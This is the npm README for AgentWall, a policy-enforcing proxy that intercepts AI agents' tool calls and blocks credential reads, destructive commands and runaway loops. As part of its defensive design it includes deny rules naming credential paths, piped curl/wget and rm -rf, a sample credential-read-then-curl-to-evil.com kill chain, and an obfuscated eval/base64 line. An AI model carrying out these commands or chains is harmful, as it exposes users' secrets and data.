npm package: @iflow-mcp/agentwall-agentwall
Description: Run AI agents safely on your local machine — policy-enforcing MCP proxy
Latest version: 0.9.0

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<table>
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<td valign="middle"><img src="src/web/ui/logo.png" alt="AgentWall logo" width="72" height="72"></td>
<td valign="middle"><h1>AgentWall</h1></td>
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</table>

**Your AI agent has root access. This blocks it.**

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[![License](https://img.shields.io/badge/license-Apache--2.0-blue.svg)](LICENSE)
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---

Your AI agent can read `~/.aws/credentials`, pipe it to `curl`, and you'd never know. In February 2026, OpenClaw deleted a user's entire Gmail inbox in a runaway loop — 142 `gog gmail trash` calls before they noticed. The safety prompts built into Claude Desktop and OpenClaw run inside the model's context window, where a poisoned prompt or context compaction can wipe them out entirely.

AgentWall enforces your rules at the proxy layer — outside the runtime, outside the model's context, where nothing can override them. It intercepts every tool call before it executes across Claude Desktop, Cursor, Windsurf, Claude Code, and OpenClaw. One command to install.

![AgentWall demo — Claude said "always allow." AgentWall blocked it anyway.](assets/demo.gif)

> 📖 **Writeup:** [Your AI agent can read every credential on your machine](https://dev.to/ashwinaravind/your-ai-agent-can-read-every-credential-on-your-machine-cd0)

---

## The killer feature

AI clients have their own approval flows. AgentWall ignores them.

Claude Desktop approved the call. OpenClaw approved the call. AgentWall blocked both.

```
18:14:47   mcp        DENY    policy   list_directory              ← BLOCKED despite Claude "Always allow"
18:14:51   openclaw   DENY    policy   exec                        ← BLOCKED despite OpenClaw approval
18:15:03   openclaw   DENY    policy   exec   gog gmail trash      ← BLOCKED (inbox deletion prevented)
```

Your YAML policy is the final word. Not the client. Not the model. You.

> AgentWall runs outside the model's context window. Context compaction, prompt injection, or a compromised tool cannot touch your policy file.

---

## Contents

- [Features](#features)
- [Install](#install)
- [Quick start](#quick-start)
- [Supported clients](#supported-clients)
- [Web UI](#web-ui)
- [OpenClaw](#openclaw)
- [Policy](#policy)
- [Rate limiting](#rate-limiting)
- [Taint tracking](#taint-tracking)
- [Audit log](#audit-log)
- [Commands](#commands)
- [How it works](#how-it-works)
- [What AgentWall protects against](#what-agentwall-protects-against)
- [What AgentWall does not protect against](#what-agentwall-does-not-protect-against)
- [OWASP Agentic AI Top 10 coverage](#owasp-agentic-ai-top-10-coverage)

---

## Features

- **Works everywhere** — Claude Desktop, Cursor, Windsurf, Claude Code, OpenClaw, any MCP client
- **Taint tracking** — detects credential reads and blocks subsequent outbound network calls, stopping multi-step exfiltration before it completes
- **YAML policy engine** — deny, allow, ask with glob matching, SQL content matching, path rules
- **One command install** — `npx @agentwall/agentwall setup` auto-detects and wraps all your MCP servers
- **Browser approval UI** — approve or deny tool calls from your browser; works in GUI clients with no terminal
- **Independent audit log** — ground truth record of every tool call, regardless of what the model claims it did
- **Hot-reload** — edit `~/.agentwall/policy.yaml` and changes apply instantly, no restart needed
- **Rate limiting** — cap tool calls per minute to catch runaway agent loops before they cause damage
- **Inbox deletion prevention** — blocks `gog gmail trash/delete` commands and rate-limits bulk Gmail operations; would have stopped the [February 2026 OpenClaw incident](https://sfstandard.com/2026/02/25/openclaw-goes-rogue/) at call #1
- **Fully reversible** — `agentwall undo` restores all original configs in one command
- **Policy library** — community policies for gog, GitHub, 1Password, messaging, and more at [agentwall-registry](https://github.com/agentwall/agentwall-registry)

---

## Install

```bash
npx @agentwall/agentwall setup
```

AgentWall detects Claude Desktop, Cursor, Windsurf, Claude Code, and OpenClaw.
Wraps every MCP server automatically. Backs up your originals. Zero JSON editing.

```bash
# Or install globally
npm install -g @agentwall/agentwall
agentwall setup
```

Requires Node.js >= 22.

To verify protection is active:

```bash
agentwall status
# AgentWall v0.9.0
# Protected: Claude Desktop (3 servers) · Cursor (1 server) · OpenClaw
# Policy: ~/.agentwall/policy.yaml
# Decisions today: 47 allowed · 0 blocked · 2 approved
```

---

## Quick start

```bash
# 1. Install and wrap your MCP servers
npx @agentwall/agentwall setup

# 2. Create a default policy (protects credentials, database, shell)
agentwall init

# 3. Start the web UI first — it owns port 7823
agentwall ui
# → http://localhost:7823

# 4. Start OpenClaw gateway (if using OpenClaw)
openclaw gateway
# Detects AgentWall on port 7823 and routes approvals to the browser

# 5. Open your AI client (Claude Desktop, Cursor, etc.)
# MCP proxies spawn automatically and connect to the same UI
```

> ⚠️ **Boot order matters.** Start `agentwall ui` before the OpenClaw gateway and before opening AI clients. The gateway and MCP proxies detect the UI on startup and route approval requests to it. If the UI isn't running yet, they fall back to terminal prompts.

---

## Supported clients

| Client | Approval method | Integration |
|---|---|---|
| Claude Desktop | Browser UI at localhost:7823 | MCP proxy |
| Cursor | Browser UI at localhost:7823 | MCP proxy |
| Windsurf | Browser UI at localhost:7823 | MCP proxy |
| Claude Code | Terminal `y/n/a` prompt | MCP proxy |
| OpenClaw | Terminal `y/n/a` prompt | Native plugin |
| Any MCP client | Browser UI or terminal | MCP proxy |

**GUI clients** (Cursor, Claude Desktop, Windsurf) have no terminal — approval requests appear in your browser at `http://localhost:7823`. Auto-denies after 30 seconds if no response.

**Terminal clients** (Claude Code, OpenClaw) get an inline `y/n/a` prompt. Press `a` to always allow an operation for the rest of the session.

---

## Web UI

```bash
agentwall ui    # → http://localhost:7823
```

**Approval** `/` — approve or deny tool calls from your browser in real time. Auto-denies after 30 seconds.

**Policy editor** `/policy` — edit rules visually or in raw YAML. Both modes edit the same file. Changes apply instantly.

**Log viewer** `/log` — searchable view of everything your agent has done. Filter by runtime, decision, tool name, date.

**Clients** `/clients` — see every supported client on your machine, which MCP servers are protected, and wrap new servers with one click.

The web UI is localhost-only. No auth. No external connections.

---

## OpenClaw

AgentWall includes a native OpenClaw plugin that hooks into `before_tool_call` — intercepting `exec`, `read`, `write`, `edit`, `apply_patch`, and `process` before they execute.

```bash
# From a clone of this repo (directory that contains openclaw.plugin.json)
openclaw plugins install agentwall --link
```

The plugin runs independently of the MCP proxy. Both can run simultaneously, logging every decision to the same audit file regardless of which runtime triggered it.

If you use `gog` for Gmail access, add email protection rules to your policy — see [Prevent inbox deletion (gog)](#prevent-inbox-deletion-gog) below.

---

## Policy

AgentWall evaluates rules in order: **deny → allow → ask**.
Unmatched calls default to **ask** — never silently allow unknowns.

```bash
agentwall init    # creates ~/.agentwall/policy.yaml with sensible defaults
```

### Rule fields

| Field | Description | Example |
|---|---|---|
| `command` | Shell command glob | `"rm -rf *"` |
| `path` | File path glob | `~/.ssh/**` |
| `tool` | MCP tool name glob | `"write_file"` |
| `match` | Argument content glob (case-insensitive) | `sql: "drop *"` |
| `url` | URL pattern | `"*.competitor.com/*"` |

Glob patterns: `*` matches any characters except `/`. `**` matches everything including `/`. All fields in a rule use AND logic.

Special path value: `outside:workspace` — matches any path outside the current working directory.

### Protect your database

```yaml
deny:
  - tool: "*"
    match:
      sql: "drop *"
  - tool: "*"
    match:
      sql: "truncate *"

ask:
  - tool: "*"
    match:
      sql: "delete *"
  - tool: "*"
    match:
      sql: "alter *"
```

DROP and TRUNCATE blocked silently. DELETE and ALTER prompt for approval. Everything else runs normally. SQL matching is case-insensitive.

### Prevent inbox deletion (gog)

OpenClaw uses the `gog` CLI to access Gmail. Since `gog` runs as a shell process, AgentWall's native plugin intercepts it via `exec` — before it touches your inbox.

In February 2026, a runaway OpenClaw agent sent 142 `gog gmail trash` calls and deleted a user's entire inbox before they could intervene. This is the policy that would have stopped it at call #1. The agent's own guardrails didn't — they ran inside the context window, which the agent had already overwritten.

```yaml
deny:
  # Email — never trash or delete without explicit approval
  - tool: exec
    match:
      command: "gog gmail trash*"
  - tool: exec
    match:
      command: "gog gmail delete*"
  - tool: exec
    match:
      command: "gog gmail batchDelete*"

ask:
  # Email — confirm any inbox modification
  - tool: exec
    match:
      command: "gog gmail modify*"
  - tool: exec
    match:
      command: "gog gmail archive*"

limits:
  - tool: exec
    match:
      command: "gog gmail*"
    max: 10
    window: 60    # max 10 Gmail operations per minute — a loop of 142 never completes
```

Deletion rules are denied silently. Archive and modify prompt for approval. The rate limit catches runaway bulk operations even if a rule is missed.

Why this works when OpenClaw's own guardrails failed: the policy lives in `~/.agentwall/policy.yaml` — outside the model's context window. Context compaction that wipes the model's safety instructions leaves this file untouched.

See the [incident writeup](https://sfstandard.com/2026/02/25/openclaw-goes-rogue/) for the full timeline. For a technical deep-dive into how credential exfiltration works and how AgentWall stops it, read: [Your AI agent can read every credential on your machine](https://dev.to/ashwinaravind/your-ai-agent-can-read-every-credential-on-your-machine-cd0)

### Full default policy

```yaml
deny:
  # Credentials — never access
  - path: ~/.ssh/**
  - path: ~/.aws/**
  - path: ~/.gnupg/**

  # Shell config — prevent persistence/backdoor
  - path: ~/.bashrc
  - path: ~/.zshrc

  # Shell — never pipe from internet
  - command: "curl * | *"
  - command: "wget * | *"

  # Database — never drop or truncate
  - tool: "*"
    match:
      sql: "drop *"
  - tool: "*"
    match:
      sql: "truncate *"

ask:
  # Shell — confirm destructive commands
  - command: "rm -rf *"
  - command: "sudo *"
  - command: "dd *"

  # Git — confirm pushes to main
  - tool: exec
    match:
      command: "git push*main*"

  # Database — confirm writes
  - tool: "*"
    match:
      sql: "delete *"
  - tool: "*"
    match:
      sql: "alter *"

  # Files outside workspace
  - tool: "*"
    path: outside:workspace

allow:
  # Everything inside workspace is trusted
  - path: workspace/**

limits:
  - tool: exec
    max: 30
    window: 60    # max 30 shell commands per minute

allowed_hosts:
  - api.anthropic.com
  - api.openai.com
  - github.com
  - registry.npmjs.org
  - pypi.org
```

---

## Rate limiting

Cap how many times an agent can call a tool per session window. Catches runaway loops before they cause damage.

```yaml
limits:
  - tool: exec
    max: 10
    window: 60      # max 10 shell commands per minute
  - tool: "*"
    max: 200
    window: 300     # max 200 total tool calls per 5 minutes
```

When the limit is approached (90%), AgentWall fires a macOS notification. When it hits, the agent receives a message it can read:

```
AgentWall: exec rate limit reached (10/60s). Wait 43 seconds.
```

---

## Taint tracking

AgentWall tracks multi-step exfiltration attacks across tool calls within a session. When a tool call reads a sensitive file (credentials, SSH keys, env vars), the session is marked as **tainted**. Any subsequent outbound network call to a host not on the allowlist is automatically blocked — regardless of individual policy rules.

The kill chain this detects:

```
Tool call reads ~/.aws/credentials   →   session marked TAINTED
Tool call runs curl https://evil.com →   BLOCKED (taint violation)
```

Taint is triggered by:

- Reading sensitive files — `~/.ssh/`, `~/.aws/credentials`, `~/.kube/config`, `~/.gnupg/`, `.env`, SSH keys
- Sensitive database queries — `information_schema`, `pg_catalog`, `mysql.user`
- Commands that access `process.env`, `os.environ`, or sensitive env vars

Configure which hosts are allowed even when tainted:

```yaml
allowed_hosts:
  - api.anthropic.com
  - api.openai.com
  - github.com
  - registry.npmjs.org
  - pypi.org
```

Taint state is visible in `agentwall status`, the web UI (warning banner), and `agentwall replay` (highlighted in magenta). Taint resets automatically when a new session starts.

---

## Hot-reload

Edit `~/.agentwall/policy.yaml` and changes apply instantly across all running proxies and plugins. No restart of Claude Desktop, Cursor, or the gateway.

```
[AgentWall] Policy reloaded: ~/.agentwall/policy.yaml
```

---

## Audit log

Every decision is logged independently of what the model claims it did.

| Log file | Written by | Contents |
|---|---|---|
| `~/.agentwall/session-YYYY-MM-DD.jsonl` | MCP proxy | Tool calls intercepted via proxy |
| `~/.agentwall/decisions.jsonl` | OpenClaw plugin | Tool calls intercepted via native plugin |

The web UI log viewer merges both files automatically.

```bash
agentwall replay          # color-coded table of today's decisions
agentwall replay 20       # last 20 entries
agentwall clear-logs      # remove all log files and start fresh
```

> If the model reports it only read one file but AgentWall logged 47 reads, the log is right.

---

## Commands

```
agentwall setup [--dry-run]          Auto-detect and wrap all MCP configs
agentwall undo                       Restore all original MCP configs from backup
agentwall proxy -- <cmd> [args]      Wrap a single MCP server
agentwall ui [--port 7823]           Start the web UI
agentwall init                       Create default policy at ~/.agentwall/policy.yaml
agentwall status                     Show protection status and today's decision counts
agentwall replay [N]                 Show recent audit log entries (color-coded)
agentwall clear-logs                 Remove all log files
agentwall --version                  Print version
```

---

## How it works

AgentWall sits between your AI client and every MCP server it spawns.

```
AI Client  ←→  AgentWall Proxy  ←→  Real MCP Server
                     |
               policy.yaml          ← your rules
               taint tracker        ← cross-call exfiltration detection
               audit log            ← independent record
               approval UI          ← localhost:7823
```

The client never knows AgentWall is there. The real server never knows it is being proxied. `agentwall setup` makes the config change automatically:

```json
Before:
{
  "mcpServers": {
    "filesystem": {
      "command": "npx",
      "args": ["-y", "@modelcontextprotocol/server-filesystem", "~"]
    }
  }
}

After:
{
  "mcpServers": {
    "filesystem": {
      "command": "agentwall",
      "args": ["proxy", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "~"]
    }
  }
}
```

---

## What AgentWall protects against

- Accidental destruction — `rm -rf`, `DROP TABLE`, `TRUNCATE`
- Credential access — `~/.ssh`, `~/.aws`, `~/.gnupg`
- Shell config modification — `~/.bashrc`, `~/.zshrc` (persistence/backdoor)
- Operations outside your workspace
- Destructive git operations — force push, push to main
- Runaway agents — rate limiting per tool per session
- Common obfuscation patterns — `eval`, `base64 -d`
- Database writes without approval — `DELETE`, `ALTER`, `UPDATE`
- Multi-step exfiltration — taint tracking blocks credential read → network send chains
- Inbox deletion via gog — deny trash/delete commands, rate-limit bulk Gmail operations

---

## What AgentWall does not protect against

**Obfuscated commands** — `eval $(echo cm0= | base64 -d)`. Pattern matching sees `eval`, not the decoded payload.

**Data exfiltration via request body** — AgentWall sees the `curl` command, not the network payload.

**Prompt injection** — Would require scanning every file before the agent reads it.

**Multi-step attacks beyond taint tracking** — Taint tracking catches the most common pattern (read credentials → network exfiltration), but cannot catch all possible indirect chains (e.g. writing credentials to a world-readable file, then another process reads and sends them).

AgentWall is a policy engine, not a security sandbox. The right complement is OS-level isolation — run your agent in a container with no credential access in the first place. AgentWall and OS isolation are complementary, not alternatives.

---

## OWASP Agentic AI Top 10 coverage

AgentWall addresses the following risks from the [OWASP Top 10 for Agentic Applications 2026](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/):

| Threat | How AgentWall helps |
|---|---|
| ASI02 – Tool Misuse & Exploitation | YAML policy engine blocks destructive tool calls before execution |
| ASI03 – Identity & Privilege Abuse | Credential path protection, workspace boundary enforcement, and taint tracking |
| ASI04 – Data Exfiltration | Taint tracking detects credential access and blocks subsequent outbound network calls |
| ASI08 – Cascading Failures | Rate limiting catches runaway agent loops before they cause damage |

AgentWall is a policy engine, not a security sandbox. See [What AgentWall does not protect against](#what-agentwall-does-not-protect-against) for an honest assessment of its limits.

---

## Policy library

Ready-to-use policies for common tools — gog, GitHub CLI, 1Password, messaging, Homebrew, and more.

```bash
agentwall policy add gog
agentwall policy add github
agentwall policy add bundle/developer
```

Browse all policies → [github.com/agentwall/agentwall-registry](https://github.com/agentwall/agentwall-registry)

---

## Contributing

Contributions welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.

To add a new MCP server to the policy registry, open a PR to [agentwall-registry](https://github.com/agentwall/agentwall-registry).

---

## Version history

| Version | Theme | What shipped |
|---|---|---|
| v0.1 | Proof of concept | exec interception, YAML policy engine, JSONL audit log |
| v0.2 | Full OpenClaw coverage | Native plugin, all tool calls intercepted |
| v0.3 | Runtime agnostic | MCP proxy — Claude Desktop, Cursor, Windsurf |
| v0.4 | Zero friction | `agentwall setup`, database rules, npm publish |
| v0.5 | Usability | Hot-reload, rate limiting |
| v0.6 | Web UI | Approval page, policy editor, log viewer |
| v0.7 | Client visibility | Clients tab, auto-detection, one-click protect |
| v0.8 | Notifications | macOS notification, tab title, sound |
| v0.9 | Taint tracking | Cross-call exfiltration detection, allowed_hosts, taint state in UI/CLI/audit |

---

## License

Licensed under the [Apache License, Version 2.0](LICENSE).